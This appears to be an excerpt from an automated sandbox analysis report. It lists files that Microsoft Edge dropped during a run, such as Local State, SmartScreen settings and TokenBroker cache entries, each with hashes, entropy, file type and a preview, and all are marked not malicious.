Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b9c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF515b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.007961155602465
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXsrY:YWLSGTt1o9LuLgfGBPAzkVj/T8lGY
MD5:	6661AD3F87E83399AE730FBD8B72D281
SHA1:	C17D1211338501FE76D975582EC70EF6440E61D8
SHA-256:	A9665DE003F980D498BFE51039026758B11E1B3207A111B5AFD6F37A26697D14
SHA-512:	303A79E9B6C45613A97874134FED91737F885E081FAB5E684EC4F7FE743BBAEED82B6C073507C590E6703AE77F6E5382CB5D2C25689D63AF1A374FBDF96FDC64
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732803278308273}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d126bd04-38b9-4864-b5e0-ffcdba322901.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	6.095157362835938
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWCZCi1zNtjg9Zl2beJPKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yObgvKtSmd6qE7lFoC
MD5:	E4ED1F1F51DEE1D2701BE33D1A61F6EC
SHA1:	ADAF6D20B12321588196D1105DD87AF391E5F12D
SHA-256:	3AD7391DD7A92B4B24B83737C4A62ADD15E5B86F2FE1388339614617403CEBA0
SHA-512:	D3F2051E5C68B1EFAC4859B50971C3785A7A4C4CC46A0AD4D9A399880449E9BEA86C2F5661E536FE7C93434BD935D166ACB90ADCA43EC4EBE779BF69D6E163C5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.831789113676525
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxyxl9Il8umKQ3j9k2qIyOh9Tzz5d1rc:m7YAR3R1qIdh9TzW
MD5:	11439F09EE941599B4CE14C768C81AD8
SHA1:	0F7D78B4012141279673B074B8C6805AC3E78C45
SHA-256:	1D3C52C752E0FFAF81125D667569BB4744E65E25493AF1E7263B995EE425CAD0
SHA-512:	2C3F0F0C6C63BF5E03F422F9087B80D7A9A77BA458493C5BA3E49F4EF8D5FE2C21053051CDA169D89EA5B3C33A8DFCC5E03470D4DF187AF2D19CF50BA9691034
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.x.x.i.7.1.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.0.T.H.E.8.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9949898010749716
Encrypted:	false
SSDEEP:	96:xYs0ebpPSRAAScrOYsa+u72umJZlrTT1y:xQoASqDb2fRU
MD5:	789E3631E4F5245D607754BB7257D6D3
SHA1:	0A169C771B2EBA15DEF6294C269F1F6B7DFDEFDC
SHA-256:	77D9639571637CB7FDC17EF37D556DC0E5480CF7B7F02C53826B91BD4E34CC62
SHA-512:	827E38054D9C62031B30E4EC1F715D4E4D7331D8F053FBD2F6B02E231DEEA3754634237D9C3FE5CDBFDB21BBB33EA80F7CCAD10EAE15221DCECA4119F45F8A3B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".9.v.n.z.c.L.V.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o